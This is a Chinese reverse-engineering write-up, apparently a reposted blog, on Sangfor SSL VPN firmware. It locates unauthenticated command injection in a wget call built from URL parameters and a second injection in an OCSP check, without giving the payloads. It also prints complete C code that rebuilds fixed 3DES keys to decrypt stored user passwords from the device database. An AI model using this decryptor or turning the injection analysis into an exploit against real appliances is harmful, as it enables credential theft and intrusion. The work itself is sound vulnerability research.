深信服vpnweb登錄逆向學習


深信服vpn逆向(挖洞)

概況

  1. 部分深信服vpn設備存在rce漏洞,可以直接getshell(寫入一個php的馬)
  2. 普通用戶登錄的主要處理邏輯在mod_twf.so
  3. 深信服ssl vpn設備主要是x86的linux

逆向

  1. 將mod_twf.so 加載到ida中

然后根據每個函數開頭的assert信息,去恢復函數的函數名與函數參數

__assert_fail 的定義如下

void __assert_fail(const char * assertion, const char * file, unsigned int line, const char * function);

由此我們可以將所有的函數名稱恢復,以便下面的操作。下面是幾個需要提前知道的知識點

深信服的url處理

有點類似於java servlet。在某個結構體中,存放着url,init初始化函數以及處理函數。如圖

檢測用戶登錄邏輯

  if ( !(unsigned __int8)is_user_online(a2, (int)&v17, (int)&v15) )
    return redirect_to(a2, "logout.csp");

部分用於處理用戶請求的函數中,開頭會通過is_user_online去判斷用戶是否已經登陸。如果沒有登陸,則調用redirect_to 函數將用戶重定向至指定網頁.

獲取用戶輸入參數

通過twf_request_get_param函數獲取用戶輸入的參數。主要是解析url參數。

漏洞復現分析研究

深信服ssl vpn命令注入漏洞

簡介

一句話,無需登錄,即可執行rce,2019年主要用來hw

分析

首先查找popen函數的xref交叉引用

可以看出有兩處引用。我們首先看CheckWebRc處代碼

可以很明顯的看出,該處代碼拼接了url, a3, a2至wget命令中,並且這三個參數在該處並沒有被過濾。檢查一下CheckWebRc的xref引用

可以很明顯的看出,三個參數分別為url, timeout, retry。並且沒有任何過濾。檢查一下該函數對應的url

exp也呼之欲出,自行解決

/etc/sangfor/sslvpn.db 解密

主要將svpnuser表的passwd字段解密

首先在string表中搜索關於svpnuser表的xref

點擊跟如update_pwd 函數,如圖

看來主要邏輯在changepwd_enc_base64中,跟進

函數邏輯我都已經處理好了,添加自己理解的注釋。將字符串調用des加密,然后base64編碼,得到最終的結果。跟進des3_encrypt中

因為主要通過3des加密,所以需要3組key和一組iv。通過動態生成key與iv,解決了硬編碼密碼的漏洞。跟進des3函數

該函數兼備了加密與解密。在加密中,因為iv是固定的,所以不需要保存。如果沒有指定salt的話,則使用rand隨機生成一個salt。salt經過3des加密后,拼接在加密后的密文前,長度為8。

所以我們可以通過如下方法寫出解密

#include <stdio.h>
#include <openssl/des.h>
#include <openssl/evp.h>
#include <openssl/bio.h>
#include <openssl/buffer.h>
#include <string.h>
#include <assert.h>

size_t calcDecodeLength(const char* b64input) { //Calculates the length of a decoded string
	size_t len = strlen(b64input),
		padding = 0;

	if (b64input[len - 1] == '=' && b64input[len - 2] == '=') //last two chars are =
		padding = 2;
	else if (b64input[len - 1] == '=') //last char is =
		padding = 1;

	return (len * 3) / 4 - padding;
}

int Base64Decode(char* b64message, unsigned char** buffer, size_t* length) { //Decodes a base64 encoded string
	BIO* bio, * b64;

	int decodeLen = calcDecodeLength(b64message);
	*buffer = (unsigned char*)malloc(decodeLen + 1);
	(*buffer)[decodeLen] = '\0';

	bio = BIO_new_mem_buf(b64message, -1);
	b64 = BIO_new(BIO_f_base64());
	bio = BIO_push(b64, bio);

	BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL); //Do not use newlines to flush buffer
	*length = BIO_read(bio, *buffer, strlen(b64message));
	assert(*length == decodeLen); //length should equal decodeLen, else something went horribly wrong
	BIO_free_all(bio);

	return (0); //success
}

int main() {
		unsigned __int8 a4[8];
		unsigned int i; // [esp+1Ch] [ebp-1Ch]
		unsigned __int8 c_ks3[8]; // [esp+20h] [ebp-18h]
		unsigned __int8 c_ks2[8]; // [esp+28h] [ebp-10h]
		unsigned __int8 c_ks1[8]; // [esp+30h] [ebp-8h]

		c_ks1[0] = -2;
		c_ks1[1] = (c_ks1[1] | 1) & 0xFD | 0xFC;
		c_ks1[2] = (c_ks1[2] | 3) & 0xFB | 0xF8;
		c_ks1[3] = (c_ks1[3] | 7) & 0xF7 | 0xF0;
		c_ks1[4] = (c_ks1[4] | 0xF) & 0xEF | 0xE0;
		c_ks1[5] = (c_ks1[5] | 0x1F) & 0xDF | 0xC0;
		c_ks1[6] = (c_ks1[6] | 0x3F) & 0xBF | 0x80;
		c_ks1[7] = (c_ks1[7] | 0x7F) & 0x7F;
		*c_ks2 = 1;
		*&c_ks2[1] = c_ks2[1] | 2;
		c_ks2[2] |= 4u;
		c_ks2[3] = 8;
		*&c_ks2[4] = 16;
		*&c_ks2[5] = c_ks2[5] | 0x20;
		c_ks2[6] |= 0x40u;
		c_ks2[7] = -128;
		c_ks3[0] = (c_ks3[0] | 0x7F) & 0x7F;
		c_ks3[1] = (c_ks3[1] | 0x3F) & 0x3F;
		c_ks3[2] = (c_ks3[2] | 0x1F) & 0x1F;
		c_ks3[3] = (c_ks3[3] | 0xF) & 0xF;
		c_ks3[4] = -16;
		c_ks3[5] = -8;
		c_ks3[6] = -4;
		c_ks3[7] = -2;
		for (i = 0; i <= 7; ++i)
		{
			if ((c_ks1[i] & 1) != ((c_ks1[i] >> 1) & 1))
			{
				c_ks1[i] = ((c_ks1[i] & 1) + 1) & 1 | c_ks1[i] & 0xFE;
				c_ks1[i] = 2 * ((((c_ks1[i] >> 1) & 1) + 1) & 1) | c_ks1[i] & 0xFD;
			}
			if (((c_ks1[i] >> 2) & 1) != ((c_ks1[i] >> 3) & 1))
			{
				c_ks1[i] = 4 * ((((c_ks1[i] >> 2) & 1) + 1) & 1) | c_ks1[i] & 0xFB;
				c_ks1[i] = 8 * ((((c_ks1[i] >> 3) & 1) + 1) & 1) | c_ks1[i] & 0xF7;
			}
			if (((c_ks1[i] >> 4) & 1) != ((c_ks1[i] >> 5) & 1))
			{
				c_ks1[i] = 16 * ((((c_ks1[i] >> 4) & 1) + 1) & 1) | c_ks1[i] & 0xEF;
				c_ks1[i] = 32 * ((((c_ks1[i] >> 5) & 1) + 1) & 1) | c_ks1[i] & 0xDF;
			}
			if (((c_ks1[i] >> 6) & 1) != c_ks1[i] >> 7)
			{
				c_ks1[i] = (((((c_ks1[i] >> 6) & 1) + 1) & 1) << 6) | c_ks1[i] & 0xBF;
				c_ks1[i] = (((c_ks1[i] >> 7) + 1) << 7) | c_ks1[i] & 0x7F;
			}
			if ((c_ks2[i] & 1) != ((c_ks2[i] >> 1) & 1))
			{
				c_ks2[i] = ((c_ks2[i] & 1) + 1) & 1 | c_ks2[i] & 0xFE;
				c_ks2[i] = 2 * ((((c_ks2[i] >> 1) & 1) + 1) & 1) | c_ks2[i] & 0xFD;
			}
			if (((c_ks2[i] >> 2) & 1) != ((c_ks2[i] >> 3) & 1))
			{
				c_ks2[i] = 4 * ((((c_ks2[i] >> 2) & 1) + 1) & 1) | c_ks2[i] & 0xFB;
				c_ks2[i] = 8 * ((((c_ks2[i] >> 3) & 1) + 1) & 1) | c_ks2[i] & 0xF7;
			}
			if (((c_ks2[i] >> 4) & 1) != ((c_ks2[i] >> 5) & 1))
			{
				c_ks2[i] = 16 * ((((c_ks2[i] >> 4) & 1) + 1) & 1) | c_ks2[i] & 0xEF;
				c_ks2[i] = 32 * ((((c_ks2[i] >> 5) & 1) + 1) & 1) | c_ks2[i] & 0xDF;
			}
			if (((c_ks2[i] >> 6) & 1) != c_ks2[i] >> 7)
			{
				c_ks2[i] = (((((c_ks2[i] >> 6) & 1) + 1) & 1) << 6) | c_ks2[i] & 0xBF;
				c_ks2[i] = (((c_ks2[i] >> 7) + 1) << 7) | c_ks2[i] & 0x7F;
			}
			if ((c_ks3[i] & 1) != ((c_ks3[i] >> 1) & 1))
			{
				c_ks3[i] = ((c_ks3[i] & 1) + 1) & 1 | c_ks3[i] & 0xFE;
				c_ks3[i] = 2 * ((((c_ks3[i] >> 1) & 1) + 1) & 1) | c_ks3[i] & 0xFD;
			}
			if (((c_ks3[i] >> 2) & 1) != ((c_ks3[i] >> 3) & 1))
			{
				c_ks3[i] = 4 * ((((c_ks3[i] >> 2) & 1) + 1) & 1) | c_ks3[i] & 0xFB;
				c_ks3[i] = 8 * ((((c_ks3[i] >> 3) & 1) + 1) & 1) | c_ks3[i] & 0xF7;
			}
			if (((c_ks3[i] >> 4) & 1) != ((c_ks3[i] >> 5) & 1))
			{
				c_ks3[i] = 16 * ((((c_ks3[i] >> 4) & 1) + 1) & 1) | c_ks3[i] & 0xEF;
				c_ks3[i] = 32 * ((((c_ks3[i] >> 5) & 1) + 1) & 1) | c_ks3[i] & 0xDF;
			}
			if (((c_ks3[i] >> 6) & 1) != c_ks3[i] >> 7)
			{
				c_ks3[i] = (((((c_ks3[i] >> 6) & 1) + 1) & 1) << 6) | c_ks3[i] & 0xBF;
				c_ks3[i] = (((c_ks3[i] >> 7) + 1) << 7) | c_ks3[i] & 0x7F;
			}
		}
		*a4 = 18;
		a4[1] = 52;
		a4[2] = 86;
		a4[3] = 120;
		a4[4] = 144;
		a4[5] = 171;
		a4[6] = 205;
		a4[7] = 239;
		DES_set_odd_parity((DES_cblock *)c_ks1);
		DES_set_odd_parity((DES_cblock *)c_ks2);
		DES_set_odd_parity((DES_cblock *)c_ks3);
		DES_cblock* iv = (DES_cblock * )a4;
		DES_key_schedule  s1, s2, s3;
		if (DES_set_key_checked((DES_cblock*)c_ks1, &s1) < 0 || DES_set_key_checked((DES_cblock*)c_ks2, &s2) < 0 || DES_set_key_checked((DES_cblock*)c_ks3, &s3) < 0) {
			return -1;
		}
		char passwd[100] = "UMTiSyhCAPCSRVpUCbKTiLMAU7uBYYfj";
		size_t passwd_len = strlen(passwd);
		char* output = (char*)malloc(100 * sizeof(char));
		Base64Decode((char*)&passwd, (unsigned char**)&output, &passwd_len);
		passwd_len = 24;

		unsigned char* salt = (unsigned char*)malloc(8 * sizeof(unsigned char));
		int num = 0;
		DES_ede3_cfb64_encrypt((const unsigned char*)output, salt, 8, &s1, &s2, &s3, iv, &num, 0);
		passwd_len -= 8;
		unsigned char* outdat = (unsigned char*)malloc(100 * sizeof(unsigned char));
		if (passwd_len)
			DES_ede3_cfb64_encrypt((const unsigned char*)(output + 8), outdat, passwd_len, &s1, &s2, &s3, iv, &num, 0);

		return 0;
}

可疑命令執行

回到上面的popen的xref中回到另一處函數execute_command

auth_check_ocsp函數調用了execute_command函數,我們來看一下代碼

跟進openssl_oscp_create中

可以很明顯的看出存在拼接參數,且參數並未經過過濾的命令注入漏洞。看樣子通過調用openssl來實現某些認證

check_vaild 函數調用了auth_check_oscp函數,如圖

而auth_cert_service 調用了check_vaild

因為參數過於復雜,並且沒有動態調試的情況下,很難構造poc

結論

深信服vpn中這樣的漏洞還有很多,建議加強安全開發經驗。如果有vpn讓我玩就更好了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM